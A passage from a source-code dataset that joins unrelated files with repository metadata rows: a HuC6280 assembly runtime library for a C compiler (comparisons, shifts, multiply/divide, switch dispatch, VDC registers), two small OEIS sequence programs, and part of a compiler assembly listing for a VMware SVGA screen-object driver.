; test egality of two words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X equals 0 is the two args are egals
; else non nul
; ----
; REMARK : signed compatible
; ----
; old version is 75 bytes long
; new version is 31 bytes long (58% shorter :)
; DAVE: newer version 45 bytes but much faster
; best case was: 56 cycles (worst = 70)
; best case now: 45 cycles (worst = 59)
eq:
sax
cmp [__stack]
bne eq_endno
ldy #1
sax
cmp [__stack],Y
bne eq_endno
eq_endyes:
.ifndef SMALL
addw #2,<__stack ; don't push A/X; they are thrown away
.else
inc <__stack
inc <__stack
.endif
ldx #1
cla
rts
eq_endno:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
clx
cla
rts
eqb:
txa
cmp [__stack]
bne eq_endno
bra eq_endyes
; streamlined version MACRO - uses zp ( <__temp ) instead of stack
; returns A:X = 0 if false, FF00 if true
; 15 bytes, best = 12 cycles; worst = 23
eqzp:
cmp <__temp+1
bne .x_ne
sax
cmp <__temp
bne .x_ne
cla
ldx #1 ; ensure Z flag not set
rts
.x_ne:
cla
clx
rts
eqbzp:
txa
cmp <__temp
cla
bne .x_ne
ldx #1
rts
.x_ne:
clx
rts
; ----
; lt
; ----
; compare two words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is strictly lower than
; the word in A:X else nul
; ----
ltb:
lt: ; signed version
ldy #1
cmp #$80
bcs lt_primary_minus
; if here, the A:X value is positive
sta <__temp
lda [__stack], Y
bmi cmp_ok ; stack value is negative, so reply OK
lda <__temp ; stack value is also positive, so just go for the unsigned version
bra ult_y1
lt_primary_minus:
; if here, the A:X value is negative
sta <__temp
lda [__stack], Y
bmi getA_ult ; stack value is also negative, so restore A val from
; __temp and call ult
cmp_false:
.ifndef SMALL
addw #2,<__stack ; OK to kill A/X
.else
inc <__stack
inc <__stack
.endif
ldx #0
cla
rts
getA_ult:
lda <__temp
ult: ; unsigned version
ldy #1 ; false by default
ult_y1: ; same thing but Y is assumed to be egal to 1
cmp [__stack],Y
beq .lt_must_test_lobyte
bcs cmp_ok
bra .lt_end ; hibyte of the reg var < hibyte of the pushed var
.lt_must_test_lobyte:
sax
cmp [__stack]
beq .lt_end
bcs cmp_ok ; set result to true
; lobyte of the reg var < lobyte of the pushed var
.lt_end:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
tya ; if Y was 1, return A=X=0 -> false
eor #$ff ; if Y was 0, return A=0, X=1 -> true
inc a
inc a
tax
cla
rts
ublt: ; unsigned version
txa
cmp [__stack]
beq .lt_end
bcs cmp_ok ; set result to true
; lobyte of the reg var < lobyte of the pushed var
.lt_end:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
ldx #0
cla
rts
; ----
; gt
; ----
; compare two words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is strictly greater than
; the word in A:X else nul
; ----
gtb:
gt: ; signed version of >
ldy #1
cmp #$80
bcs .gt_primary_minus
; if here, the A:X value is positive
sta <__temp
lda [__stack], Y
bmi cmp_false ; stack value is negative, so reply False
lda <__temp ; stack value is also positive, so just go for the unsigned version
bra ugt_y1 ; we spare one instruction, since we already have Y=1
.gt_primary_minus:
; if here, the A:X value is negative
sta <__temp
lda [__stack], Y
bmi getA_ugt ; stack value is also negative, so restore A val from
; __temp and call ugt
cmp_ok:
.ifndef SMALL
addw #2,<__stack ; OK to kill A/X
.else
inc <__stack
inc <__stack
.endif
ldx #1
cla
rts
getA_ugt: ; we grab back the value of A before entering the unsigned
; version of >
lda <__temp
ugt: ; unsigned version of >
ldy #1
ugt_y1: ; unsigned version of >, assuming Y = 1
cmp [__stack],Y
beq .gt_must_test_lobyte
bcs .gt_end ; hibyte of the reg var >= hibyte of the pushed var
cly
bra .gt_end
.gt_must_test_lobyte
sax
cmp [__stack]
bcs .gt_end ; lobyte of the reg var >= lobyte of the pushed var
cly
.gt_end:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
tya
eor #$ff
inc a
inc a
tax
cla
rts
ubgt: ; unsigned byte version of >
txa
cmp [__stack]
bcc .gt_true
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
clx
cla
rts
.gt_true:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
ldx #1
cla
rts
; ----
; zero page versions of lt/gt/ult/ugt:
; ----
ltbzp:
ltzp: ; signed, zero page
sta <__temp+2
eor <__temp+1
bpl .geta_ult
lda <__temp+2
bpl .true
.false: clx
cla
rts
.true: ldx #1
cla
rts
.geta_ult:
lda <__temp+2 ; and fall through to unsigned test
ultzp: cmp <__temp+1
beq .test_lo
bcc .false
.true: ldx #1
cla
rts
.test_lo:
sax
cmp <__temp
beq .false
bcs .true
.false: clx
cla
rts
ubltzp:
txa
cmp <__temp
cla
beq .false
bcc .false
ldx #1
rts
.false: clx
rts
; ----
gtbzp:
gtzp: ; signed, zero page
sta <__temp+2
eor <__temp+1
bpl .geta_ugt
lda <__temp+2
bpl .false
.true: ldx #1
cla
rts
.false: clx
cla
rts
.geta_ugt:
lda <__temp+2 ; and fall through to unsigned test
ugtzp:
cmp <__temp+1
beq .test_lo
bcs .false
.true: ldx #1
cla
rts
.test_lo:
sax
cmp <__temp
beq .false
bcc .true
.false: clx
cla
rts
ubgtzp:
txa
cmp <__temp
cla
beq .false
bcs .false
ldx #1
rts
.false: clx
rts
; ----
; ge
; ----
; compare two signed words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is greater or egal to
; the word in A:X else nul
; ----
ge: ; signed version of >
jsr lt
sax
dec a
dec a
eor #$ff
sax
rts
geb: ; signed byte version of >
jsr ltb
sax
dec a
dec a
eor #$ff
sax
rts
gezp: jsr ltzp
sax
dec a
dec a
eor #$ff
sax
rts
gebzp: jsr ltbzp
sax
dec a
dec a
eor #$ff
sax
rts
; ----
; uge
; ----
; compare two unsigned signed words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is greater or egal to
; the word in A:X else nul
; ----
uge: ; unsigned version of >
jsr ult
sax
dec a
dec a
eor #$ff
sax
rts
ubge: ; unsigned byte version of >
jsr ublt
sax
dec a
dec a
eor #$ff
sax
rts
ugezp: jsr ultzp
sax
dec a
dec a
eor #$ff
sax
rts
ubgezp: jsr ubltzp
sax
dec a
dec a
eor #$ff
sax
rts
; ----
; ne
; ----
; compare two words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non null if pushed word is different from
; the word in A:X else null
; ----
; REMARK : signed compatible
; ----
; previous version called 'eq' as subroutine and returned
; opposite value; should be fully implemented for speed
; since '!=' is such a common operand
ne:
sax
cmp [__stack]
bne .ne_endne
ldy #1
sax
cmp [__stack],Y
bne .ne_endne
.ne_endeq:
.ifndef SMALL
addw #2,<__stack ; don't push A/X; they are thrown away
.else
inc <__stack
inc <__stack
.endif
clx
cla
rts
.ne_endne:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
ldx #1
cla
rts
neb:
txa
cmp [__stack]
bne .ne_endne
.ne_endeq:
.ifndef SMALL
addw #2,<__stack ; don't push A/X; they are thrown away
.else
inc <__stack
inc <__stack
.endif
clx
cla
rts
.ne_endne:
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
ldx #1
cla
rts
; streamlined version MACRO - uses zp ( <__temp ) instead of stack
; returns A:X = 0 if false, FF00 if true
; 15 bytes, best = 12 cycles; worst = 23
nezp:
cmp <__temp+1
bne .x_ne
sax
cmp <__temp
bne .x_ne
cla
clx
rts
.x_ne:
cla
ldx #1 ; ensure Z flag not set
rts
nebzp:
txa
cmp <__temp
cla
bne .x_ne
clx
rts
.x_ne:
ldx #1 ; ensure Z flag not set
rts
; ----
; le
; ----
; compare two signed words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is lower or egal to
; the word in A:X else nul
; ----
le: ; signed version
jsr gt
sax
eor #$ff
inc a
inc a
sax
rts
leb: ; signed version
jsr gtb
sax
eor #$ff
inc A ; assuming that A=1 if true
inc a
sax
rts
lezp: jsr gtzp
sax
eor #$ff
inc a
inc a
sax
rts
lebzp: jsr gtbzp
sax
eor #$ff
inc a
inc a
sax
rts
; ----
; ule
; ----
; compare two unsigned words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : word A:X is non nul if pushed word is lower or egal to
; the word in A:X else nul
; ----
ule: ; unsigned version
jsr ugt
sax
eor #$ff
inc A ; assuming that A=1 if true
inc a
sax
rts
uble: ; unsigned byte version
jsr ubgt
sax
eor #$ff
inc A ; assuming that A=255 if true
inc a
sax
rts
ulezp: jsr ugtzp
sax
eor #$ff
inc a
inc a
sax
rts
ublezp: jsr ubgtzp
sax
eor #$ff
inc a
inc a
sax
rts
; ----
; asl
; ----
; shift the pushed word left by the register word
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; shifted left by A:X
; ----
; REMARK : only the lower byte of the right operand is taken in account
; signed compatible
; ----
asl:
stx <__temp
__ldwp __stack
ldy <__temp
beq .asl_end
sta <__temp
sax
.asl_begin
asl a
rol <__temp
dey
bne .asl_begin
sax
lda <__temp
.asl_end
.ifndef SMALL
tay
addw #2,<__stack
tya
.else
inc <__stack
inc <__stack
.endif
rts
aslzp:
beq .asl_end
sta <__temp
sax
.asl_begin
asl a
rol <__temp
dey
bne .asl_begin
sax
lda <__temp
.asl_end
rts
; ----
; asr
; ----
; shift the pushed word right by the register word
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; shifted right by A:X
; ----
; REMARK : only the lower byte of the right operand is taken in account
; signed compatible
; ----
asr:
stx <__temp
__ldwp __stack
ldy <__temp
beq .asr_end
sta <__temp
sax
.asr_begin
cpx #$80
ror <__temp
ror a
dey
bne .asr_begin
sax
lda <__temp
.asr_end
.ifndef SMALL
tay
addw #2,<__stack
tya
.else
inc <__stack
inc <__stack
.endif
rts
asrzp:
beq .asr_end
sta <__temp
sax
.asr_begin
cpx #$80
ror <__temp
ror a
dey
bne .asr_begin
sax
lda <__temp
.asr_end
rts
lsr:
stx <__temp
__ldwp __stack
ldy <__temp
beq .lsr_end
sta <__temp
sax
.lsr_begin
lsr <__temp
ror a
dey
bne .lsr_begin
sax
lda <__temp
.lsr_end
.ifndef SMALL
tay
addw #2,<__stack
tya
.else
inc <__stack
inc <__stack
.endif
rts
lsrzp:
beq .lsr_end
sta <__temp
sax
.lsr_begin
lsr <__temp
ror a
dey
bne .lsr_begin
sax
lda <__temp
.lsr_end
rts
; ----
; smul
; ----
; multiply two SIGNED words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; multiplied by A:X
; ----
smul:
stz <__sign ; until we call umul, __sign keeps the sign parity
; of operand
cmp #$80
bcc smul_no_invert_primary
__negw
inc <__sign ; __sign ++
smul_no_invert_primary:
sta <__temp
ldy #1
lda [__stack],Y
cmp #$80
bcc smul_no_invert_secondary
inc <__sign ; this time, no optimisation possible, IMHO :)
; are you sure? :))
stx <__temp+1
lda [__stack]
tax
lda [__stack],Y ; we assumed Y = 1 since we set it at the beginning of
; smul_no_invert_primary
__negw
sta [__stack],Y
sax
sta [__stack]
ldx <__temp+1
smul_no_invert_secondary:
lda <__sign
pha
lda <__temp ; saved at the beginning of smul_no_invert_primary
; where we're sure we passed
jsr umul
say
pla
and #$01
beq smul_end
say
__negw
rts
smul_end:
say
rts
; ----
; umul
; ----
; multiply two UNSIGNED words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; multiplied by A:X
; ----
umul:
__stw <__temp+2 ; bx
__ldwp __stack
__stw <__temp ; ax
jsr umul16
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
__ldw <__ptr
rts
umul16:
lda <__temp+3
ora <__temp+1
beq umul8
stwz <__ptr
ldy #16
.l1: aslw <__ptr
aslw <__temp+2
bcc .l2
addw <__temp,<__ptr
.l2: dey
bne .l1
rts
umul8:
lda <__temp+2
sta <__ptr+1
cla
ldy #8
.l1: asl A
rol <__ptr+1
bcc .l2
add <__temp
bcc .l2
inc <__ptr+1
.l2: dey
bne .l1
sta <__ptr
rts
; ----
; sdiv
; ----
; divide two SIGNED words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; divided by A:X
; ----
sdiv:
stz <__sign ; until we call udiv, __sign keeps the sign parity
; of operand
cmp #$80
bcc sdiv_no_invert_primary
__negw
inc <__sign ; __sign ++
sdiv_no_invert_primary:
sta <__temp
ldy #1
lda [__stack],Y
cmp #$80
bcc sdiv_no_invert_secondary
inc <__sign
stx <__temp+1
lda [__stack]
tax
lda [__stack],Y ; we assumed Y = 1 since we set it at the beginning of
; sdiv_no_invert_primary
__negw
sta [__stack],Y
sax
sta [__stack]
ldx <__temp+1
sdiv_no_invert_secondary:
lda <__sign
pha
lda <__temp ; saved at the beginning of sdiv_no_invert_primary
; where we're sure we passed
jsr udiv
say
pla
and #$01
beq sdiv_end
say
__negw
rts
sdiv_end:
say
rts
; ----
; udiv
; ----
; divide two UNSIGNED words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the previous pushed value
; divided by A:X
; ----
udiv:
__stw <__ptr
__ldwp __stack
__stw <__temp
lda #0
sta <__remain+1
ldy #16
.sdiv_begin: asl <__temp
rol <__temp+1
rol a
rol <__remain+1
pha
cmp <__ptr
lda <__remain+1
sbc <__ptr+1
bcc .sdiv_end
sta <__remain+1
pla
sbc <__ptr
pha
inc <__temp
.sdiv_end: pla
dey
bne .sdiv_begin
sta <__remain
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
__ldw <__temp
rts
; ----
; smod
; ----
; give the integer remainder of the two words
; ----
; IN : First word on the C stack
; Another word in A:X
; ----
; OUT : Register word egals the remainder of the division of the
; pushed value by A:X
; ----
smod:
stz <__sign
__stw <__ptr
__ldwp __stack
cmp #$80
bcc .skip1
inc <__sign
__negw
__stwp __stack
.skip1: __ldw <__ptr
cmp #$80
bcc .skip2
__negw
.skip2: jsr umod
ldy <__sign
beq .noinv
__negw
.noinv: rts
umod:
__stw <__ptr
__ldwp __stack
__stw <__temp
lda #0
sta <__remain+1
ldy #16
.umod_begin: asl <__temp
rol <__temp+1
rol a
rol <__remain+1
pha
cmp <__ptr
lda <__remain+1
sbc <__ptr+1
bcc .umod_end
sta <__remain+1
pla
sbc <__ptr
pha
inc <__temp
.umod_end: pla
dey
bne .umod_begin
sta <__remain
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
__ldw <__remain
rts
; ----
; ___case
; ----
; implement a switch instruction in C
; ----
; IN : primary register (A:X) contain the discriminant value
; i.e. the one that will be checked against those indicated in the
; various case instructions
; On the stack, a pointer is passed
; This is a pointer toward an array
; Each item of this array is a 4 bytes long structure
; The structure is the following :
; WORD value_to_check
; WORD label_to_jump_to
; We have to parse the whole array in order to compare the primary
; register with all the 'value_to_check' field. If we ever find that
; the primary register is egal to such a value, we must jump to the
; corresponding 'label_to_jump_to'.
; The default value (which also means that we reached the end of the
; array) can be recognized with its 'label_to_jump_to' field set to 0.
; Then the 'value_to_check' field become the default label we have to
; use for the rest of the execution.
; ----
; OUT : The execution goes to another place
; ----
; REMARK : Also use __remain variable as a temporary value
; ----
___case:
__stw <__remain ; store the value to check to
__ldwp __stack
__stw <__ptr ; __ptr contain the address of the array
.ifndef SMALL
addw #2,<__stack
.else
inc <__stack
inc <__stack
.endif
.begin_case:
addw #2,<__ptr
__ldwp __ptr
__tstw
__lbeq .end_case_default
addw #-2,<__ptr
__ldwp __ptr
.ifndef SMALL
__addmi -2,__stack
.else
dec <__stack
dec <__stack
.endif
__stwp __stack
addw #4,<__ptr
__ldw <__remain
jsr eq
__tstw
__lbeq .begin_case
addw #-2,<__ptr
__ldwp __ptr
__stw <__temp
jmp [__temp]
.end_case_default: ; if we haven't found any corresponding value
; then we jump to the default supplied label
addw #-2,<__ptr
__ldwp __ptr
__stw <__temp
jmp [__temp]
; ----
; hook
; ----
; indirect call to sub-routine
; ----
; IN : sub-routine addr in __ptr
; ----
hook:
jmp [__ptr]
; ----
; setvdc
; ----
; set a vdc register
; ----
; IN : - reg index on the C stack
; - value in A:X
; ----
setvdc:
tay
lda [__sp]
lsr A
; --
cmp #$09
beq .l3
cmp #$0A
blo .l1
cmp #$0F
blo .l2
; --
.l1: sta <vdc_reg
sta video_reg
stx video_data_l
sty video_data_h
; --
cmp #$02
beq .l2
; --
asl A
sax
sta _vdc,X
tya
sta _vdc+1,X
.l2: addw #2,<__sp
rts
; -- reg $09
.l3: txa
and #$70
lsr A
lsr A
lsr A
lsr A
jsr set_bat_size
bra .l2
; ----
; getvdc
; ----
; get vdc register content
; ----
; IN : reg index in A:X
; ----
; OUT: vdc register in A:X
; ----
getvdc:
cpx #4
beq .l1
; --
sxy
ldx _vdc,Y
lda _vdc+1,Y
rts
; --
.l1: lda #2
sta <vdc_reg
sta video_reg
ldx video_data_l
lda video_data_h
rts
| 15.314371 | 85 | 0.562512 |
9f9a634476fbc8160311d86c3e8760c4b67a545c | 460 | asm | Assembly | programs/oeis/126/A126564.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/126/A126564.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/126/A126564.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A126564: Floor( sin(n)*cos(n) ).
; 0,0,-1,-1,0,-1,-1,0,-1,-1,0,-1,-1,0,0,-1,0,0,-1,0,0,-1,0,0,-1,-1,0,-1,-1,0,-1,-1,0,-1,-1,0,0,-1,0,0,-1,0,0,-1,0,0,-1,-1,0,-1,-1,0,-1,-1,0,-1,-1,0,0,-1,0,0,-1,0,0,-1,0,0,-1,-1,0,-1,-1,0,-1,-1,0,-1,-1,0,0,-1,0,0,-1,0,0,-1,0,0,-1,-1,0,-1,-1,0,-1,-1,0,-1,-1,0,0
mov $2,$0
mov $3,6
mul $3,$0
add $2,$3
mov $4,1
lpb $0,1
div $2,11
gcd $2,2
mov $3,$5
add $3,1
mul $3,2
sub $2,$3
mov $0,$2
mov $5,$4
lpe
mov $1,$0
| 23 | 259 | 0.43913 |
22488e108c4f83136b0491b357d2051fb52c779d | 2,206 | asm | Assembly | programs/oeis/158/A158729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/158/A158729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/158/A158729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A158729: a(n) = 1156*n^2 - 34.
; 1122,4590,10370,18462,28866,41582,56610,73950,93602,115566,139842,166430,195330,226542,260066,295902,334050,374510,417282,462366,509762,559470,611490,665822,722466,781422,842690,906270,972162,1040366,1110882,1183710,1258850,1336302,1416066,1498142,1582530,1669230,1758242,1849566,1943202,2039150,2137410,2237982,2340866,2446062,2553570,2663390,2775522,2889966,3006722,3125790,3247170,3370862,3496866,3625182,3755810,3888750,4024002,4161566,4301442,4443630,4588130,4734942,4884066,5035502,5189250,5345310,5503682,5664366,5827362,5992670,6160290,6330222,6502466,6677022,6853890,7033070,7214562,7398366,7584482,7772910,7963650,8156702,8352066,8549742,8749730,8952030,9156642,9363566,9572802,9784350,9998210,10214382,10432866,10653662,10876770,11102190,11329922,11559966,11792322,12026990,12263970,12503262,12744866,12988782,13235010,13483550,13734402,13987566,14243042,14500830,14760930,15023342,15288066,15555102,15824450,16096110,16370082,16646366,16924962,17205870,17489090,17774622,18062466,18352622,18645090,18939870,19236962,19536366,19838082,20142110,20448450,20757102,21068066,21381342,21696930,22014830,22335042,22657566,22982402,23309550,23639010,23970782,24304866,24641262,24979970,25320990,25664322,26009966,26357922,26708190,27060770,27415662,27772866,28132382,28494210,28858350,29224802,29593566,29964642,30338030,30713730,31091742,31472066,31854702,32239650,32626910,33016482,33408366,33802562,34199070,34597890,34999022,35402466,35808222,36216290,36626670,37039362,37454366,37871682,38291310,38713250,39137502,39564066,39992942,40424130,40857630,41293442,41731566,42172002,42614750,43059810,43507182,43956866,44408862,44863170,45319790,45778722,46239966,46703522,47169390,47637570,48108062,48580866,49055982,49533410,50013150,50495202,50979566,51466242,51955230,52446530,52940142,53436066,53934302,54434850,54937710,55442882,55950366,56460162,56972270,57486690,58003422,58522466,59043822,59567490,60093470,60621762,61152366,61685282,62220510,62758050,63297902,63840066,64384542,64931330,65480430,66031842,66585566,67141602,67699950,68260610,68823582,69388866,69956462,70526370,71098590,71673122,72249966
mov $1,2
add $1,$0
mul $1,$0
mul $1,1156
add $1,1122
| 245.111111 | 2,118 | 0.868087 |
e56358e293737270550ecdb951f0bedfda0a50f4 | 18,078 | asm | Assembly | Aurora/Aurora/x64/Debug/svga_screen.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | 8 | 2021-07-19T04:46:35.000Z | 2022-03-12T17:56:00.000Z | Aurora/Aurora/x64/Debug/svga_screen.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | null | null | null | Aurora/Aurora/x64/Debug/svga_screen.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5427 DB '[VMware SVGA]: Virtual Device does not have screen objec'
DB 't enabled', 0aH, 00H
CONST ENDS
PUBLIC ?svga_screen_init@@YAXXZ ; svga_screen_init
PUBLIC ?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z ; svga_screen_create
PUBLIC ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ; svga_screen_define
PUBLIC ?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z ; svga_screen_define_gmrfb
PUBLIC ?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ; svga_screen_blit_from_gmrfb
PUBLIC ?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ; svga_screen_blit_to_gmrfb
PUBLIC ?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z ; svga_screen_annotate_fill
PUBLIC ?svga_paint_screen@@YAXIHHHH@Z ; svga_paint_screen
PUBLIC ?svga_screen_destroy@@YAXI@Z ; svga_screen_destroy
PUBLIC ?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z ; svga_screen_annotate_copy
EXTRN ?svga_has_fifo_cap@@YA_NH@Z:PROC ; svga_has_fifo_cap
EXTRN ?svga_fifo_commit_all@@YAXXZ:PROC ; svga_fifo_commit_all
EXTRN ?svga_fifo_reserved_cmd@@YAPEAXII@Z:PROC ; svga_fifo_reserved_cmd
EXTRN ?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z:PROC ; svga_alloc_gmr
EXTRN ?svga_update@@YAXIIII@Z:PROC ; svga_update
EXTRN memcpy:PROC
EXTRN ?printf@@YAXPEBDZZ:PROC ; printf
EXTRN ?svga_dev@@3U_svga_drive_@@A:BYTE ; svga_dev
pdata SEGMENT
$pdata$?svga_screen_init@@YAXXZ DD imagerel $LN4
DD imagerel $LN4+55
DD imagerel $unwind$?svga_screen_init@@YAXXZ
$pdata$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z DD imagerel $LN5
DD imagerel $LN5+143
DD imagerel $unwind$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z
$pdata$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z DD imagerel $LN3
DD imagerel $LN3+64
DD imagerel $unwind$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z
$pdata$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z DD imagerel $LN3
DD imagerel $LN3+85
DD imagerel $unwind$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z
$pdata$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD imagerel $LN3
DD imagerel $LN3+102
DD imagerel $unwind$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z
$pdata$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD imagerel $LN3
DD imagerel $LN3+102
DD imagerel $unwind$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z
$pdata$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z DD imagerel $LN3
DD imagerel $LN3+49
DD imagerel $unwind$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z
$pdata$?svga_paint_screen@@YAXIHHHH@Z DD imagerel $LN9
DD imagerel $LN9+182
DD imagerel $unwind$?svga_paint_screen@@YAXIHHHH@Z
$pdata$?svga_screen_destroy@@YAXI@Z DD imagerel $LN3
DD imagerel $LN3+49
DD imagerel $unwind$?svga_screen_destroy@@YAXI@Z
$pdata$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z DD imagerel $LN3
DD imagerel $LN3+71
DD imagerel $unwind$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z
pdata ENDS
xdata SEGMENT
$unwind$?svga_screen_init@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z DD 010901H
DD 06209H
$unwind$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z DD 010901H
DD 06209H
$unwind$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z DD 011201H
DD 06212H
$unwind$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD 031501H
DD 070116215H
DD 06010H
$unwind$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD 031501H
DD 070116215H
DD 06010H
$unwind$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z DD 010801H
DD 06208H
$unwind$?svga_paint_screen@@YAXIHHHH@Z DD 011601H
DD 08216H
$unwind$?svga_screen_destroy@@YAXI@Z DD 010801H
DD 06208H
$unwind$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z DD 010d01H
DD 0620dH
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
srcOrigin$ = 64
srcScreen$ = 72
?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z PROC ; svga_screen_annotate_copy
; 112 : {
$LN3:
mov DWORD PTR [rsp+16], edx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 113 : SVGAFifoCmdAnnotationCopy *cmd =(SVGAFifoCmdAnnotationCopy *)svga_fifo_reserved_cmd(SVGA_CMD_ANNOTATION_COPY,
; 114 : sizeof *cmd);
mov edx, 12
mov ecx, 40 ; 00000028H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 115 : cmd->srcOrigin = *srcOrigin;
mov rax, QWORD PTR srcOrigin$[rsp]
mov rax, QWORD PTR [rax]
mov rcx, QWORD PTR cmd$[rsp]
mov QWORD PTR [rcx], rax
; 116 : cmd->srcScreenId = srcScreen;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR srcScreen$[rsp]
mov DWORD PTR [rax+8], ecx
; 117 : svga_fifo_commit_all ();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 118 : }
add rsp, 56 ; 00000038H
ret 0
?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z ENDP ; svga_screen_annotate_copy
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp
_TEXT SEGMENT
cmd$ = 32
id$ = 64
?svga_screen_destroy@@YAXI@Z PROC ; svga_screen_destroy
; 47 : void svga_screen_destroy (uint32_t id) {
$LN3:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 48 : SVGAFifoCmdDestroyScreen *cmd = (SVGAFifoCmdDestroyScreen *)svga_fifo_reserved_cmd (SVGA_CMD_DESTROY_SCREEN, sizeof *cmd);
mov edx, 4
mov ecx, 35 ; 00000023H
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
